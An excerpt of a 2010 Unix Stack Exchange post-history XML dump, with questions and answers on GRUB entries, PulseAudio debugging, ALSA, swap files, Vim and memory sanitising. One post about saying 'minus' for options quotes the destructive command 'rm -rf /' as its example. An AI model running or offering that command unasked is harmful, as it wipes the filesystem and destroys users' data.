openSUSE 11.2 - 2.6.31.12-0.2&#xD;&#xA;        root (hd0,2)&#xD;&#xA;        kernel /boot/vmlinuz-2.6.31.12-0.2-desktop root=/dev/disk/by-id/ata-ST3160815AS_9RX3KRP8-part3 resume=/dev/disk/by-id/ata-ST3160815AS_9RX3KRP8-part2 splash=silent quiet showopts vga=0x31a&#xD;&#xA;        initrd /boot/initrd-2.6.31.12-0.2-desktop&#xD;&#xA;    &#xD;&#xA;    ###Don't change this comment - YaST2 identifier: Original name: failsafe###&#xD;&#xA;    title Failsafe -- openSUSE 11.2 - 2.6.31.12-0.2&#xD;&#xA;        root (hd0,2)&#xD;&#xA;        kernel /boot/vmlinuz-2.6.31.12-0.2-desktop root=/dev/disk/by-id/ata-ST3160815AS_9RX3KRP8-part3 showopts apm=off noresume nosmp maxcpus=0 edd=off powersaved=off nohz=off highres=off processor.max_cstate=1 x11failsafe vga=0x31a&#xD;&#xA;        initrd /boot/initrd-2.6.31.12-0.2-desktop&#xD;&#xA;    &#xD;&#xA;    ###Don't change this comment - YaST2 identifier: Original name: windows###&#xD;&#xA;    title Windows&#xD;&#xA;        rootnoverify (hd0,0)&#xD;&#xA;        chainloader +1&#xD;&#xA;    &#xD;&#xA;    #Don’t change this comment – YaST2 identifier: Original name: none#&#xD;&#xA;    title Ubuntu 10.04&#xD;&#xA;        root (hd0,4)&#xD;&#xA;        kernel /vmlinuz root=/dev/sda5 ro quiet splash&#xD;&#xA;        initrd /initrd.img" />
  <row Id="4512" PostHistoryTypeId="5" PostId="2182" RevisionGUID="8ac5a717-17b6-4a84-8535-6a3b03965fd1" CreationDate="2010-09-17T14:57:32.453" UserId="73" Comment="added 1 characters in body; edited title" Text="Something strange happened today.   &#xD;&#xA;I was connected to an HP server with putty, and saw two files with exact same name:&#xD;&#xA;&#xD;&#xA;&gt; -rw-r--r--   1 hemantj            3368 Apr  1 12:47 test  &#xD;&#xA;&gt; -rw-r--r--   1 hemantj              20 Sep  1 12:47 test  &#xD;&#xA;&#xD;&#xA;It was very strange as you can't have files with the same name.&#xD;&#xA;&#xD;&#xA;Later when I was connected with FileZilla I saw that there is some special  &#xD;&#xA;character at the end of the second file name.  &#xD;&#xA;&#xD;&#xA;My Question: is it possible to highlight special characters in the file name in a terminal?&#xD;&#xA;&#xD;&#xA;I am connected to HP-UX and my shell is tcsh and ksh.   &#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Thanks all for your reply but I think [Keymon][1]'s [solution][2] is the simplest and more portable.   &#xD;&#xA;+1 for all of you -- I learned a lot from your responses&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/550/keymon&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/2182/identifying-files-with-spacial-characters-in-its-name-in-terminal/2188#2188" />
  <row Id="4513" PostHistoryTypeId="4" PostId="2182" RevisionGUID="8ac5a717-17b6-4a84-8535-6a3b03965fd1" CreationDate="2010-09-17T14:57:32.453" UserId="73" Comment="added 1 characters in body; edited title" Text="Identifying  files with special characters in its name in a terminal" />
  <row Id="4514" PostHistoryTypeId="5" PostId="2179" RevisionGUID="85ec6b4d-f3bb-4131-af15-35dbca627e87" CreationDate="2010-09-17T15:35:42.333" UserId="250" Comment="added 147 characters in body" Text="Hello,&#xD;&#xA;&#xD;&#xA;After installing new software, an already opened terminal with zsh won't know about the new commands, and cannot generate auto-complete for those. Apparently opening a new terminal fix the problem, but can the index (or whatever you call it) be rebuilt so that auto-complete will work on the old terminal?&#xD;&#xA;&#xD;&#xA;I tried with `compinit` but that didn't help. Also, is there a way that is not shell-dependent? It's nice to have a way to verify the answer as well (except for uninstalling something and reinstalling it).&#xD;&#xA;&#xD;&#xA;UPDATE: what I mean is after typing a few characters of a command's name, I can press tab, and zsh should do the rest to pull up the full name." />
  <row Id="4515" PostHistoryTypeId="2" PostId="2191" RevisionGUID="d39df386-5f89-405e-b81a-61dee846911b" CreationDate="2010-09-17T16:10:24.657" UserId="1804" Text="How do I enable line numbers to be displayed in Vim?" />
  <row Id="4516" PostHistoryTypeId="1" PostId="2191" RevisionGUID="d39df386-5f89-405e-b81a-61dee846911b" CreationDate="2010-09-17T16:10:24.657" UserId="1804" Text="Line numbering in Vim" />
  <row Id="4517" PostHistoryTypeId="3" PostId="2191" RevisionGUID="d39df386-5f89-405e-b81a-61dee846911b" CreationDate="2010-09-17T16:10:24.657" UserId="1804" Text="évimà" />
  <row Id="4518" PostHistoryTypeId="2" PostId="2192" RevisionGUID="95d5d37a-25bb-4f0f-84ee-93281b265c1d" CreationDate="2010-09-17T16:11:26.263" UserId="1804" Text="To enable line numbering:&#xD;&#xA;&#xD;&#xA;    :set number&#xD;&#xA;&#xD;&#xA;To disable it:&#xD;&#xA;&#xD;&#xA;    :set nonumber" />
  <row Id="4519" PostHistoryTypeId="2" PostId="2193" RevisionGUID="c95200b8-148f-46d5-b1ff-264d56ef794a" CreationDate="2010-09-17T16:52:01.113" UserId="1848" Text="The overall question that my whole problem is kind of based on is regarding sound in linux. Should I be using alsa or pulse or what?&#xD;&#xA;I'm using pulse at the moment and this is my problem: I was in the midst of configuring awesome and playing some music at  same time when I restarted awesome and found sound no long functioned. After debugging and frustration I restarted and sound still doesn't work. When run in super verbose mode pulseaudio gives much output (see bottom of post) but I think the key line is this:&#xD;&#xA;&#xD;&#xA;    D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-udev-detect.so': success&#xD;&#xA;    D: module-udev-detect.c: /dev/snd/controlC0 is accessible: no&#xD;&#xA;    D: module-udev-detect.c: /dev/snd/controlC29 is accessible: no&#xD;&#xA;Any guesses?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Full log:&#xD;&#xA;&#xD;&#xA;    rob@lennyubuntu:~$ pulseaudio -vvvv&#xD;&#xA;    I: main.c: setrlimit(RLIMIT_NICE, (31, 31)) failed: Operation not permitted&#xD;&#xA;    I: main.c: setrlimit(RLIMIT_RTPRIO, (9, 9)) failed: Operation not permitted&#xD;&#xA;    D: core-rtclock.c: Timer slack is set to 50 us.&#xD;&#xA;    D: core-util.c: RealtimeKit worked.&#xD;&#xA;    I: core-util.c: Successfully gained nice level -11.&#xD;&#xA;    I: main.c: This is PulseAudio 0.9.21-63-gd3efa-dirty&#xD;&#xA;    D: main.c: Compilation host: i486-pc-linux-gnu&#xD;&#xA;    D: main.c: Compilation CFLAGS: -g -O2 -g -Wall -O3 -Wall -W -Wextra -pipe -Wno-long-long -Winline -Wvla -Wno-overlength-strings -Wunsafe-loop-optimizations -Wundef -Wformat=2 -Wlogical-op -Wsign-compare -Wformat-security -Wmissing-include-dirs -Wformat-nonliteral -Wold-style-definition -Wpointer-arith -Winit-self -Wdeclaration-after-statement -Wfloat-equal -Wmissing-prototypes -Wstrict-prototypes -Wredundant-decls -Wmissing-declarations -Wmissing-noreturn -Wshadow -Wendif-labels -Wcast-align -Wstrict-aliasing=2 -Wwrite-strings -Wno-unused-parameter -ffast-math -Wp,-D_FORTIFY_SOURCE=2 -fno-common -fdiagnostics-show-option&#xD;&#xA;    D: main.c: Running on host: Linux i686 2.6.32-24-generic-pae #42-Ubuntu SMP Fri Aug 20 15:37:22 UTC 2010&#xD;&#xA;    D: main.c: Found 2 CPUs.&#xD;&#xA;    I: main.c: Page size is 4096 bytes&#xD;&#xA;    D: main.c: Compiled with Valgrind support: no&#xD;&#xA;    D: main.c: Running in valgrind mode: no&#xD;&#xA;    D: main.c: Running in VM: no&#xD;&#xA;    D: main.c: Optimized build: yes&#xD;&#xA;    D: main.c: All asserts enabled.&#xD;&#xA;    I: main.c: Machine ID is 37b1a2935e121fd776c640534c92c393.&#xD;&#xA;    I: main.c: Session ID is 37b1a2935e121fd776c640534c92c393-1284741785.538707-879649589.&#xD;&#xA;    I: main.c: Using runtime directory /home/rob/.pulse/37b1a2935e121fd776c640534c92c393-runtime.&#xD;&#xA;    I: main.c: Using state directory /home/rob/.pulse.&#xD;&#xA;    I: main.c: Using modules directory /usr/lib/pulse-0.9.21/modules.&#xD;&#xA;    I: main.c: Running in system mode: no&#xD;&#xA;    I: main.c: Fresh high-resolution timers available! Bon appetit!&#xD;&#xA;    I: cpu-x86.c: CPU flags: CMOV MMX SSE SSE2 SSE3 SSSE3 SSE4_1 &#xD;&#xA;    I: svolume_mmx.c: Initialising MMX optimized functions.&#xD;&#xA;    I: remap_mmx.c: Initialising MMX optimized remappers.&#xD;&#xA;    I: svolume_sse.c: Initialising SSE2 optimized functions.&#xD;&#xA;    I: remap_sse.c: Initialising SSE2 optimized remappers.&#xD;&#xA;    I: sconv_sse.c: Initialising SSE2 optimized conversions.&#xD;&#xA;    D: memblock.c: Using shared memory pool with 1024 slots of size 64.0 KiB each, total size is 64.0 MiB, maximum usable slot size is 65496&#xD;&#xA;    D: database-tdb.c: Opened TDB database '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-device-volumes.tdb'&#xD;&#xA;    I: module-device-restore.c: Sucessfully opened database file '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-device-volumes'.&#xD;&#xA;    I: module.c: Loaded &quot;module-device-restore&quot; (index: #0; argument: &quot;&quot;).&#xD;&#xA;    D: database-tdb.c: Opened TDB database '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-stream-volumes.tdb'&#xD;&#xA;    I: module-stream-restore.c: Sucessfully opened database file '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-stream-volumes'.&#xD;&#xA;    I: module.c: Loaded &quot;module-stream-restore&quot; (index: #1; argument: &quot;&quot;).&#xD;&#xA;    D: database-tdb.c: Opened TDB database '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-card-database.tdb'&#xD;&#xA;    I: module-card-restore.c: Sucessfully opened database file '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-card-database'.&#xD;&#xA;    I: module.c: Loaded &quot;module-card-restore&quot; (index: #2; argument: &quot;&quot;).&#xD;&#xA;    I: module.c: Loaded &quot;module-augment-properties&quot; (index: #3; argument: &quot;&quot;).&#xD;&#xA;    D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-udev-detect.so': success&#xD;&#xA;    D: module-udev-detect.c: /dev/snd/controlC0 is accessible: no&#xD;&#xA;    D: module-udev-detect.c: /dev/snd/controlC29 is accessible: no&#xD;&#xA;    I: module-udev-detect.c: Found 2 cards.&#xD;&#xA;    I: module.c: Loaded &quot;module-udev-detect&quot; (index: #4; argument: &quot;&quot;).&#xD;&#xA;    D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-bluetooth-discover.so': failure&#xD;&#xA;    D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-esound-protocol-unix.so': success&#xD;&#xA;    I: module.c: Loaded &quot;module-esound-protocol-unix&quot; (index: #5; argument: &quot;&quot;).&#xD;&#xA;    I: module.c: Loaded &quot;module-native-protocol-unix&quot; (index: #6; argument: &quot;&quot;).&#xD;&#xA;    D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-gconf.so': failure&#xD;&#xA;    I: module-default-device-restore.c: Saved default sink 'auto_null' not existant, not restoring default sink setting.&#xD;&#xA;    I: module-default-device-restore.c: Saved default source 'auto_null.monitor' not existant, not restoring default source setting.&#xD;&#xA;    I: module.c: Loaded &quot;module-default-device-restore&quot; (index: #7; argument: &quot;&quot;).&#xD;&#xA;    I: module.c: Loaded &quot;module-rescue-streams&quot; (index: #8; argument: &quot;&quot;).&#xD;&#xA;    D: module-always-sink.c: Autoloading null-sink as no other sinks detected.&#xD;&#xA;    I: sink.c: Created sink 0 &quot;auto_null&quot; with sample spec s16le 2ch 44100Hz and channel map front-left,front-right&#xD;&#xA;    I: sink.c:     device.description = &quot;Dummy Output&quot;&#xD;&#xA;    I: sink.c:     device.class = &quot;abstract&quot;&#xD;&#xA;    I: sink.c:     device.icon_name = &quot;audio-card&quot;&#xD;&#xA;    D: core-subscribe.c: Dropped redundant event due to change event.&#xD;&#xA;    I: source.c: Created source 0 &quot;auto_null.monitor&quot; with sample spec s16le 2ch 44100Hz and channel map front-left,front-right&#xD;&#xA;    I: source.c:     device.description = &quot;Monitor of Dummy Output&quot;&#xD;&#xA;    I: source.c:     device.class = &quot;monitor&quot;&#xD;&#xA;    I: source.c:     device.icon_name = &quot;audio-input-microphone&quot;&#xD;&#xA;    D: module-null-sink.c: Thread starting up&#xD;&#xA;    I: module.c: Loaded &quot;module-null-sink&quot; (index: #9; argument: &quot;sink_name=auto_null sink_properties='device.description=&quot;Dummy Output&quot;'&quot;).&#xD;&#xA;    I: module.c: Loaded &quot;module-always-sink&quot; (index: #10; argument: &quot;&quot;).&#xD;&#xA;    I: module.c: Loaded &quot;module-intended-roles&quot; (index: #11; argument: &quot;&quot;).&#xD;&#xA;    D: module-suspend-on-idle.c: Sink auto_null becomes idle, timeout in 5 seconds.&#xD;&#xA;    I: module.c: Loaded &quot;module-suspend-on-idle&quot; (index: #12; argument: &quot;&quot;).&#xD;&#xA;    D: dbus-util.c: Successfully connected to D-Bus system bus 37167102d347eef17e1632d54c939a90 as :1.19&#xD;&#xA;    I: client.c: Created 0 &quot;ConsoleKit Session /org/freedesktop/ConsoleKit/Session1&quot;&#xD;&#xA;    D: module-console-kit.c: Added new session /org/freedesktop/ConsoleKit/Session1&#xD;&#xA;    I: module.c: Loaded &quot;module-console-kit&quot; (index: #13; argument: &quot;&quot;).&#xD;&#xA;    I: module.c: Loaded &quot;module-position-event-sounds&quot; (index: #14; argument: &quot;&quot;).&#xD;&#xA;    D: dbus-util.c: Successfully connected to D-Bus session bus 72094675a23ec627dd2a6a7b4c939a9c as :1.8&#xD;&#xA;    D: main.c: Got org.pulseaudio.Server!&#xD;&#xA;    I: main.c: Daemon startup complete.&#xD;&#xA;    D: module-console-kit.c: dbus: interface=org.freedesktop.DBus, path=/org/freedesktop/DBus, member=NameAcquired" />
  <row Id="4520" PostHistoryTypeId="1" PostId="2193" RevisionGUID="c95200b8-148f-46d5-b1ff-264d56ef794a" CreationDate="2010-09-17T16:52:01.113" UserId="1848" Text="Sound Problems with pulseaudio" />
  <row Id="4521" PostHistoryTypeId="3" PostId="2193" RevisionGUID="c95200b8-148f-46d5-b1ff-264d56ef794a" CreationDate="2010-09-17T16:52:01.113" UserId="1848" Text="éaudioàédebuggingà" />
  <row Id="4522" PostHistoryTypeId="2" PostId="2194" RevisionGUID="023bfed4-eac8-4d94-866e-c4c90caa51d1" CreationDate="2010-09-17T18:24:51.410" UserId="195" Text="I believe that the ubuntu options are located in `/etc/grub.cfg`. It will take some parsing; that file on my system looks like a whole shell script, but  the tail end looks like you should be able to parse it out sufficiently to get what you need." />
  <row Id="4523" PostHistoryTypeId="2" PostId="2195" RevisionGUID="2c87a117-aebf-434a-8281-418256968f2e" CreationDate="2010-09-17T20:33:26.043" UserId="1854" Text="I have 3 physical drives in my Mac Pro with OSX 10.6.4. Occasionally after rebooting the machine, the disk numbering changes such that the /dev/disk# does not reference the same drive as it did before the reboot.&#xD;&#xA;&#xD;&#xA;Example&#xD;&#xA;&#xD;&#xA;    /dev/disk0 -&gt; 64GB SSD drive&#xD;&#xA;    /dev/disk1 -&gt; 640GB Hitachi&#xD;&#xA;    /dev/disk2 -&gt; 160GB WD (BootCamp)&#xD;&#xA;&#xD;&#xA;After rebooting the mapping might be&#xD;&#xA;&#xD;&#xA;    /dev/disk0 -&gt; 160GB WD (BootCamp)&#xD;&#xA;    /dev/disk1 -&gt; 640GB Hitachi&#xD;&#xA;    /dev/disk2 -&gt; 64GB SSD drive&#xD;&#xA;&#xD;&#xA;Even more confusing is that the remapping is not consistent. For most stuff this is irrelevant. However I also have Parallels installed to allow access to the BootCamp partition from within OSX. Parallels uses the /dev/disk# path in it's configuration file so, after rebooting OSX I launch Parallels and it tells me that the disk is no longer present.&#xD;&#xA;&#xD;&#xA;Is there a way to tell OSX to always assign a given drive to /dev/disk0?&#xD;&#xA;" />
  <row Id="4524" PostHistoryTypeId="1" PostId="2195" RevisionGUID="2c87a117-aebf-434a-8281-418256968f2e" CreationDate="2010-09-17T20:33:26.043" UserId="1854" Text="Prevent disk renumbering on reboot in OSX" />
  <row Id="4525" PostHistoryTypeId="3" PostId="2195" RevisionGUID="2c87a117-aebf-434a-8281-418256968f2e" CreationDate="2010-09-17T20:33:26.043" UserId="1854" Text="éosxàémountà" />
  <row Id="4526" PostHistoryTypeId="2" PostId="2196" RevisionGUID="a49e7187-5949-418a-be9d-b7f8885e3781" CreationDate="2010-09-17T20:42:17.413" UserId="29" Text="My sound card supports hardware mixing, what's the easiest way to use this feature (rather than an app by app basis, hopefully)?" />
  <row Id="4527" PostHistoryTypeId="1" PostId="2196" RevisionGUID="a49e7187-5949-418a-be9d-b7f8885e3781" CreationDate="2010-09-17T20:42:17.413" UserId="29" Text="Easy way to use hardware mixing?" />
  <row Id="4528" PostHistoryTypeId="3" PostId="2196" RevisionGUID="a49e7187-5949-418a-be9d-b7f8885e3781" CreationDate="2010-09-17T20:42:17.413" UserId="29" Text="ékdeàéhardwareàéaudioàéalsaà" />
  <row Id="4529" PostHistoryTypeId="2" PostId="2197" RevisionGUID="2ab256c1-2f08-4370-b888-505c954ee98e" CreationDate="2010-09-17T21:02:11.897" UserId="1131" Text="I am afraid there is no easy way. It is probably easier to just use pulse audio for this.&#xD;&#xA;&#xD;&#xA;Pulse audio does software mixing, but on current machines doing hardware mixing does not really provide advantages.&#xD;&#xA;&#xD;&#xA;I you really want to use hardware mixing you have to look up some .asoundrc options and then use some alsa-pseudo-devices in your programs." />
  <row Id="4530" PostHistoryTypeId="2" PostId="2198" RevisionGUID="54e2840e-1efd-494f-b503-51bd5c892144" CreationDate="2010-09-17T22:10:41.223" UserId="1856" Text="And if you want it to apply to every vim you open...put &quot;set number&quot; in your .vimrc!" />
  <row Id="4531" PostHistoryTypeId="2" PostId="2199" RevisionGUID="3bfd5dd7-340e-47a2-ae5c-31b2451562ee" CreationDate="2010-09-18T10:38:56.113" UserId="1762" Text="I find it extremely useful to have a binding to toggle line numbering (among other things). It can be configured as follows&#xD;&#xA;&#xD;&#xA;    nnoremap &lt;Leader&gt;gn :setl number!&lt;CR&gt;:setl number?&lt;CR&gt;&#xD;&#xA;&#xD;&#xA;The first command will toggle the line numbering for the current buffer (local) and the second one will display the current value of the option on the status line." />
  <row Id="4532" PostHistoryTypeId="2" PostId="2200" RevisionGUID="1206b13b-3163-423e-a6aa-9aae47d5a5a7" CreationDate="2010-09-18T11:36:16.140" UserId="1868" Text="Hi,&#xD;&#xA;&#xD;&#xA;at first, please check if net.inet.ip.fw.one_pass is set. &#xD;&#xA;&#xD;&#xA;Second, I don't think you need that mask parameter on you pipe configuration. You can't always be sure that packages come from port 80 e.g. if a user communicates from behind a nat etc.&#xD;&#xA;&#xD;&#xA;Third, I would try it without rules 200 and 300. I'm not quite sure how it's handling piping internally, but the Traffic Shaping Section of ipfw(8) has these tips enlisted:&#xD;&#xA;&#xD;&#xA;&gt; CHECKLIST&#xD;&#xA;&gt;     Here are some important points to consider when designing your rules:&#xD;&#xA;&gt;&#xD;&#xA;&gt;     +o	 Remember that you filter both packets going in and out.  Most connec-&#xD;&#xA;&gt;	 tions need packets going in both directions.&#xD;&#xA;&gt;&#xD;&#xA;&gt;     +o	 Remember to test very carefully.  It is a good idea to be near the&#xD;&#xA;&gt;	 console when doing this.  If you cannot be near the console, use an&#xD;&#xA;&gt;	 auto-recovery script such as the one in&#xD;&#xA;&gt;	 /usr/share/examples/ipfw/change_rules.sh.&#xD;&#xA;&gt;&#xD;&#xA;&gt;     +o	 **Do not forget the loopback interface.**&#xD;&#xA;&#xD;&#xA;And fourth I would change the default rule (= the last rule 65000) to deny all. It's good firewall design and without it, all these other allow rules are just wasted ;)&#xD;&#xA;" />
  <row Id="4533" PostHistoryTypeId="2" PostId="2201" RevisionGUID="d79bcc79-3840-4ecb-9898-8a224aee0a77" CreationDate="2010-09-18T13:07:12.070" UserId="310" Text="I'm trying to make ALSA 1.0.23 to use different resampling algorithm. I did some research on the Internet and found that putting the line `defaults.pcm.rate_converter &quot;&lt;library&gt;&quot;` into either `/etc/asound.conf` or `~/.asoundrc` will tell ALSA to use different resampling algorithm.&#xD;&#xA;&#xD;&#xA;However, it doesn't seem to work. Putting the following line into ~/.asoundrc `defaults.pcm.rate_converter &quot;speexrate_best&quot;` doesn't have any effect on either CPU usage or the list of loaded libraries (doing `lsof -n | grep speex` while playing something yields nothing). Although, the following snippet forces ALSA to use new resampling algorithm:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;pcm.!default {&#xD;&#xA;    type rate&#xD;&#xA;    slave {&#xD;&#xA;        pcm &quot;hw:0,0&quot;&#xD;&#xA;        rate 48000&#xD;&#xA;    }&#xD;&#xA;    converter &quot;speexrate_best&quot;&#xD;&#xA;}&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Doing so makes CPU usage to 10-15% and makes two new shared libraries appear in the list of `lsof`, but software mixing stops working and I can't play multiple audio files.&#xD;&#xA;&#xD;&#xA;I'm probably missing something obvious, but I'm complete noob. What can be an issue here?" />
  <row Id="4534" PostHistoryTypeId="1" PostId="2201" RevisionGUID="d79bcc79-3840-4ecb-9898-8a224aee0a77" CreationDate="2010-09-18T13:07:12.070" UserId="310" Text="Trying to improve sound quality with ALSA." />
  <row Id="4535" PostHistoryTypeId="3" PostId="2201" RevisionGUID="d79bcc79-3840-4ecb-9898-8a224aee0a77" CreationDate="2010-09-18T13:07:12.070" UserId="310" Text="éalsaà" />
  <row Id="4536" PostHistoryTypeId="2" PostId="2202" RevisionGUID="ddca03a3-ea74-45ca-8ab5-f3635af6ffa0" CreationDate="2010-09-18T13:39:25.967" UserId="241" Text="My webcam is detected correctly (and i can use it in skype without any issues), but how can i record video on linux preferably with gui tool ?&#xD;&#xA;" />
  <row Id="4537" PostHistoryTypeId="1" PostId="2202" RevisionGUID="ddca03a3-ea74-45ca-8ab5-f3635af6ffa0" CreationDate="2010-09-18T13:39:25.967" UserId="241" Text="What is the best tool/tools to record video from webcam on linux ?" />
  <row Id="4538" PostHistoryTypeId="3" PostId="2202" RevisionGUID="ddca03a3-ea74-45ca-8ab5-f3635af6ffa0" CreationDate="2010-09-18T13:39:25.967" UserId="241" Text="érecordingàévideoà" />
  <row Id="4539" PostHistoryTypeId="2" PostId="2203" RevisionGUID="34daff89-6ee8-4c51-882a-5474aa7e6ff6" CreationDate="2010-09-18T14:02:31.110" UserDisplayName="Matej" Text="Is it possible to randomise or shred memory of a particular application just after its life ends, or better, whenever it deallocates some memory?&#xD;&#xA;&#xD;&#xA;A command-line utility like this would be perfect:&#xD;&#xA;&#xD;&#xA;shred-memory [options] &lt;cmd-to-execute&gt; [{params to the application...}]" />
  <row Id="4540" PostHistoryTypeId="1" PostId="2203" RevisionGUID="34daff89-6ee8-4c51-882a-5474aa7e6ff6" CreationDate="2010-09-18T14:02:31.110" UserDisplayName="Matej" Text="Randomise or shred memory of an application" />
  <row Id="4541" PostHistoryTypeId="3" PostId="2203" RevisionGUID="34daff89-6ee8-4c51-882a-5474aa7e6ff6" CreationDate="2010-09-18T14:02:31.110" UserDisplayName="Matej" Text="élinuxàébashàésecurityàépasswordàémemoryà" />
  <row Id="4542" PostHistoryTypeId="2" PostId="2204" RevisionGUID="36782cff-d259-4e26-b9c6-88ff09422d20" CreationDate="2010-09-18T14:18:59.213" UserId="1873" Text="You can use Cheese (GNOME) if you just need just that, or VLC for more advanced features." />
  <row Id="4543" PostHistoryTypeId="2" PostId="2205" RevisionGUID="16fc2fa5-a138-492e-ba32-b081c3c01958" CreationDate="2010-09-18T14:20:14.703" UserId="315" Text="PackageKit, the default package management tool in Fedora 13, does not include a method and it's unlikely that they ever will as it's a [deliberate design choice to not include repository management][1].&#xD;&#xA;&#xD;&#xA;However, could you instead package up the repo file into an RPM and distribute that? By default RPMs will open with Package Installer and that's GUI based.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.packagekit.org/pk-faq.html#repo-add-remove" />
  <row Id="4544" PostHistoryTypeId="2" PostId="2206" RevisionGUID="8a1455f2-cfb9-446a-bad2-da1308ba1f95" CreationDate="2010-09-18T14:44:07.420" UserId="885" Text="Linux (like any modern multi-process OSes, I would hope) ensures that processes only get zeroed out pages when they allocate memory. So a process cannot read the memory formerly used by another process.&#xD;&#xA;&#xD;&#xA;Under Linux, the zeroing out happens when a page is allocated, not when it is freed. This leaves two ways of reading the memory formerly used by a process:&#xD;&#xA;&#xD;&#xA;* exploit a kernel bug&#xD;&#xA;* dump the contents of the RAM or swap (which requires root or physical access)&#xD;&#xA;&#xD;&#xA;A patch to the Linux kernel to allow zeroing out pages as soon as they are freed was proposed ([`sanitize_mem` episode 1](http://lwn.net/Articles/334747/), [`sanitize_mem` episode 2](http://lwn.net/Articles/335698/)), but as far as I can tell not accepted.&#xD;&#xA;&#xD;&#xA;In practice, the biggest window for attack is the swap space (which can retain data for a long time), and even that is not trivial for the attacker (who needs to steal the disk, and sort out the jumble of pages). It's also the easiest to fix: encrypt the swap space with `dm-crypt`.&#xD;&#xA;" />
  <row Id="4545" PostHistoryTypeId="2" PostId="2207" RevisionGUID="0f628217-c1d7-48a9-a103-65bcf8ab6d7a" CreationDate="2010-09-18T15:34:40.347" UserId="1875" Text="It seems to me a swap file is more flexible. " />
  <row Id="4546" PostHistoryTypeId="1" PostId="2207" RevisionGUID="0f628217-c1d7-48a9-a103-65bcf8ab6d7a" CreationDate="2010-09-18T15:34:40.347" UserId="1875" Text="Why Linux use a swap partition than a file?" />
  <row Id="4547" PostHistoryTypeId="3" PostId="2207" RevisionGUID="0f628217-c1d7-48a9-a103-65bcf8ab6d7a" CreationDate="2010-09-18T15:34:40.347" UserId="1875" Text="éswappingà" />
  <row Id="4548" PostHistoryTypeId="2" PostId="2208" RevisionGUID="884392b3-dd63-44ed-b34c-8e9bab9a5faa" CreationDate="2010-09-18T15:55:27.183" UserId="1876" Text="You can also use a swap file instead of a swap partition, or in addition to a swap partition.&#xD;&#xA;&#xD;&#xA;- Create the file:&#xD;&#xA;&#xD;&#xA;        dd if=/dev/zero of=/extraswap bs=1M count=512&#xD;&#xA;&#xD;&#xA;- Initialize file contents's:&#xD;&#xA;&#xD;&#xA;        mkswap /extraswap&#xD;&#xA;&#xD;&#xA;- Use it:&#xD;&#xA;&#xD;&#xA;        swapon /swapfile&#xD;&#xA;&#xD;&#xA;- See if it worked:&#xD;&#xA;&#xD;&#xA;        free -m&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In order to start using the swapfile always at bootup, edit /etc/fstab and add&#xD;&#xA;&#xD;&#xA;    /swapfile           swap          swap    defaults    0 0&#xD;&#xA;&#xD;&#xA;[1] http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/custom-guide/s1-swap-adding.html" />
  <row Id="4549" PostHistoryTypeId="2" PostId="2209" RevisionGUID="3f6f3fff-fddb-4f53-a25a-aaa6ef4bbed6" CreationDate="2010-09-18T16:04:55.367" UserId="310" Text="Looks like mplayer was doing resampling all the way long. Playing some wav files with `aplay` shows that the new resampling algorithm is being used as intended." />
  <row Id="4550" PostHistoryTypeId="2" PostId="2210" RevisionGUID="62aadf34-f36d-4ba9-9947-5180e4590a2d" CreationDate="2010-09-18T16:07:40.637" UserDisplayName="Bacon" Text="I think that it is mainly because the access time to the datas located on a partition are lower. The point of the swap file is more to help the sys admin when he is really out of RAM and needs to operate huge operations that would maybe crash his system. In this case he will sporadically create swap files when needed.&#xD;&#xA;&#xD;&#xA;But anyway you can have both of them." />
  <row Id="4551" PostHistoryTypeId="2" PostId="2211" RevisionGUID="d660dadd-21fa-4db0-9543-1873f3a4c399" CreationDate="2010-09-18T16:29:10.100" UserId="885" Text="A swap file is more flexible but also more fallible. A filesystem error could damage the swap file. A swap file can be a pain for the administrator, since the file can't be moved or deleted. A swap file is also slightly slower.&#xD;&#xA;&#xD;&#xA;The advantage of a swap file is not having to decide the size in advance. You still can't resize a swap file online: you have to unregister it, resize, then reregister (or create a different file and remove the old one). So there isn't that much benefit to a swap file. It's mainly useful when you temporarily need more virtual memory, rather than as a permanent fixture.&#xD;&#xA;" />
  <row Id="4552" PostHistoryTypeId="2" PostId="2212" RevisionGUID="8844188f-8bcc-419e-9098-cfa8185bac29" CreationDate="2010-09-18T16:57:12.143" UserId="1804" Text="A couple of weeks ago I attended a talk on Git by someone who seemed to be from a Windows background.  I say &quot;seemed to be&quot; because he kept saying &quot;dash&quot; when referring to command-line options.  I then recalled something that I found curious in my early days of learning Linux; that is, when referring to options, the resident unix-heads always said &quot;minus&quot;.  That is:&#xD;&#xA;&#xD;&#xA;    rm -rf /&#xD;&#xA;&#xD;&#xA;Would be said &quot;arr em minus arr ef slash&quot; as opposed to &quot;arr em dash arr ef slash&quot;.&#xD;&#xA;&#xD;&#xA;Why is this?" />
  <row Id="4553" PostHistoryTypeId="1" PostId="2212" RevisionGUID="8844188f-8bcc-419e-9098-cfa8185bac29" CreationDate="2010-09-18T16:57:12.143" UserId="1804" Text="Why do unix-heads say &quot;minus&quot;?" />
  <row Id="4554" PostHistoryTypeId="3" PostId="2212" RevisionGUID="8844188f-8bcc-419e-9098-cfa8185bac29" CreationDate="2010-09-18T16:57:12.143" UserId="1804" Text="éconventionsà" />
  <row Id="4555" PostHistoryTypeId="2" PostId="2213" RevisionGUID="770feda8-50c4-4bf5-8659-4eb6a110a6e5" CreationDate="2010-09-18T18:21:58.137" UserId="317" Text="how do I copy recursively like `cp -rf *` but excluding hidden directory (directory started with .) and its content for being copied?" />
